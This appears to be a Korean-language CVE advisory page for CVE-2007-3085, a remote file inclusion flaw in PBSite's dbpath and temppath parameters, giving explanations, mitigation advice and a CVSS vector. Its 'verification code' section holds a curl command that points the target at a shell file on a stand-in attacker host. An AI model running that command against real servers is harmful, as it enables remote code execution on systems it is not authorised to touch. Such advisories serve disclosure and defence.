🔍 CVE-2007-3085

7.5
CVSS Score
HIGH
2007-06-06
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

PBSite의 여러 PHP 파일에서 dbpath와 temppath 매개변수가 제대로 검증되지 않아, 원격 공격자가 외부 PHP 파일을 포함시켜 임의의 코드를 실행할 수 있는 취약점입니다.

💡 쉬운 설명

웹사이트가 설정 파일 경로를 사용자로부터 입력받을 때 검증하지 않습니다. 공격자는 악의적인 파일이 있는 자신의 웹서버를 지정하여 웹사이트를 해킹할 수 있습니다.

🇺🇸 원문 (English)

Multiple PHP remote file inclusion vulnerabilities in PBSite allow remote attackers to execute arbitrary PHP code via a URL in the (1) dbpath parameter to (a) useronline.php, (b) ucp.php, (c) setcookie.php, (d) sendpm.php, (e) search.php, (f) register.php, (g) profile.php, (h) post.php, (i) pmpshow.php, (j) pm.php, (k) ntopic.php, (l) nreply.php, (m) news.php, (n) memberslist.php, (o) logout.php, (p) login.php, (q) index.php, (r) help.php, (s) forum.php, (t) error.php, (u) editpost.php, (v) delpost.php, (w) delpm.php, (x) confirm.php, (y) board.php, (z) admin2.php, (aa) admin.php, or (bb) templates/pb/css/formstyles.php; or the (2) temppath parameter to (a) useronline.php, (c) setcookie.php, (e) search.php, (f) register.php, (h) post.php, (l) nreply.php, (m) news.php, (o) logout.php, (p) login.php, (q) index.php, (r) help.php, (s) forum.php, (t) error.php, (w) delpm.php, (x) confirm.php, or (y) board.php.

📍 영향받는 시스템

PBSite 모든 버전 (구체적 버전 명시되지 않음)

⚔️ 공격 벡터

HTTP GET 요청으로 dbpath 또는 temppath 매개변수에 원격 파일 URL을 삽입하여 Remote File Inclusion 실행

🛡️ 대응 방법

PBSite을 최신 버전으로 업그레이드하거나, 파일 경로 입력값에 대한 검증 및 화이트리스트 적용

🔧 검증 코드

phpinfo, system, exec 등의 함수 출력이 보이면 RFI 취약점이 존재하는 것이고, 접근 불가 또는 정상 페이지 로드면 패치된 상태입니다.

Shell / Script
curl -s 'http://target/index.php?dbpath=http://attacker.com/shell.php' | grep -i 'phpinfo\|system\|exec' || echo '취약점 확인 필요'

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP